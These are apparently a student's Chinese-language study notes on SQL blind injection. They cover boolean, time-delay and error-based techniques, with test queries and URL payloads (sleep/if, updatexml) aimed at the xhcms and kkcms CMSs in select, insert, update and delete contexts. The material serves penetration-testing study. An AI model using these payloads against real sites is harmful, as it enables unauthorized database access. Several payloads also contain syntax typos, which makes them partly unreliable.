Web学习29

  1. 知识点
  2. 案例
    1. SQL-盲注&布尔&报错&延时
    2. 查询-select-xhcms-布尔盲注
    3. 插入-insert-xhcms-报错盲注
    4. 更新-update-xhcms-报错盲注
    5. 删除-delete-kkcms-延时盲注

知识点

1、明确查询方式注入Payload
2、明确查询方式注入产生功能
3、明确SQL盲注延时&布尔&报错

详细点:
盲注就是在注入过程中,获取的数据不能回显至前端页面,这个时候联合 注入就会直接失效。
此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
解决:常规的联合查询注入不行的情况
我们可以知道盲注分为以下三类:
-基于布尔的SQL盲注-逻辑判断
regexp,like,ascii,left,ord,mid
-基于时间的SQL盲注-延时判断
if,sleep
-基于报错的SQL盲注-报错回显
报错函数:floor,updatexml,extractvalue
https://www.jianshu.com/p/bc35f8dd4f7c

参考:
like ‘ro%’ #判断ro或ro…是否成立
regexp ‘^xiaodi[a-z]’ #匹配xiaodi及xiaodi…等
if(条件,5,0) #条件成立 返回5 反之 返回0
sleep(5) #SQL语句延时执行5秒
mid(a,b,c) #从位置b开始,截取a字符串的c位
substr(a,b,c) #从位置b开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

执行SQL语句后,获取的数据-输出显示 不输出显示

$result=mysql_query($sql,$conn) or die(mysql_error());
//获取的数据进行显示
while($row=mysql_fetch_array($result)){
    echo '<br><br><hr>';
    echo $row['id'];
    echo $row['gName'];
}

SQL查询方式注入
select,insert,update,delete,orderby等

基于知识本地测试
select * from member where username like “vi%”;
select * from member where username regexp ‘^x’;
select * from member where id=1 and sleep(1);
select * from member where id=1 and(if1>2,sleep(1),0);
select * from member where id=1 and(if1<2,sleep(1),0);
select * from member where id=1 and length(database())=7;
select * from member where id=1 and left(database(),1)=’p’;
select * from member where id=1 and left(database(),2)=’pi’;
select * from member where id=1 and substr(database(),1,1)=’p’;
select * from member where id=1 and substr(database(),2,1)=’i’;
select * from member where id=1 and ord(left(database(),1))=’112’;

1、查询方式增删改查四种特性决定,部分是不需要进行数据取出和显示,所以此类注入基本上需要采用盲注才能正常得到结果(黑盒测试可以根据功能判断注入查询方式)
2、查询方式增删改查四种特性决定应用功能点(会员注册,删除新闻,修改文章等)

案例

SQL-盲注&布尔&报错&延时
查询-select-xhcms-布尔盲注
插入-insert-xhcms-报错盲注
更新-update-xhcms-报错盲注
删除-delete-kkcms-延时盲注

SQL-盲注&布尔&报错&延时

PHP开发项目-输出结果&开启报错

基于延时:都不需要
/blog/news.php?id=1 and (if1=1,sleep(5),0)

正常访问是4s,延时了5s后变成了9s,1=1是成立的,所以延时肯定是生效的

基于布尔:有数据库输出判断标准

/blog/news.php?id=1 and length(database())=11,sleep(5),0)

数据库的名字是syguestbook,字符长度为11,所以if判断正确,会延时5s

基于报错:有数据库报错处理判断标准
$result=mysql_query($sql,$conn) or die(mysql_error());
有这个die语句存在,才会有报错回显,就可以用报错语句去注入

?id=2 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

成功报错出了数据库的名字

查询-select-xhcms-布尔盲注

插入-insert-xhcms-报错盲注

有数据库容错,可以进行报错注入

sqlmap要注入的话,需要考虑验证码的识别,

更新-update-xhcms-报错盲注

白盒:输入?r=software&cid=1 and updatexml(1,concat(0x7e,(SELECT @@version)0x7e),1)就可以直接报错出来版本号了

删除-delete-kkcms-延时盲注

输入?del=2 or if(1=1,sleep(5),0)延时了说明存在注入

这里还存在宽字节过滤,所以可以写ascii码来绕过

看响应时间很明显存在延时,所以数据库的第一位为k,原理搞清楚了,实际来做还是交给sqlmap吧,盲注手工不是人做的吧……

总结:看有没有添加操作来判断insert注入,看有没有修改操作来判断update注入,看有没有删除操作来判断delete注入,最好的方法是采用延迟,因为延迟是不需要任何条件,都可以进行注入的,实际情况都是手工判断一下有没有注入点,然后再用工具跑就行了。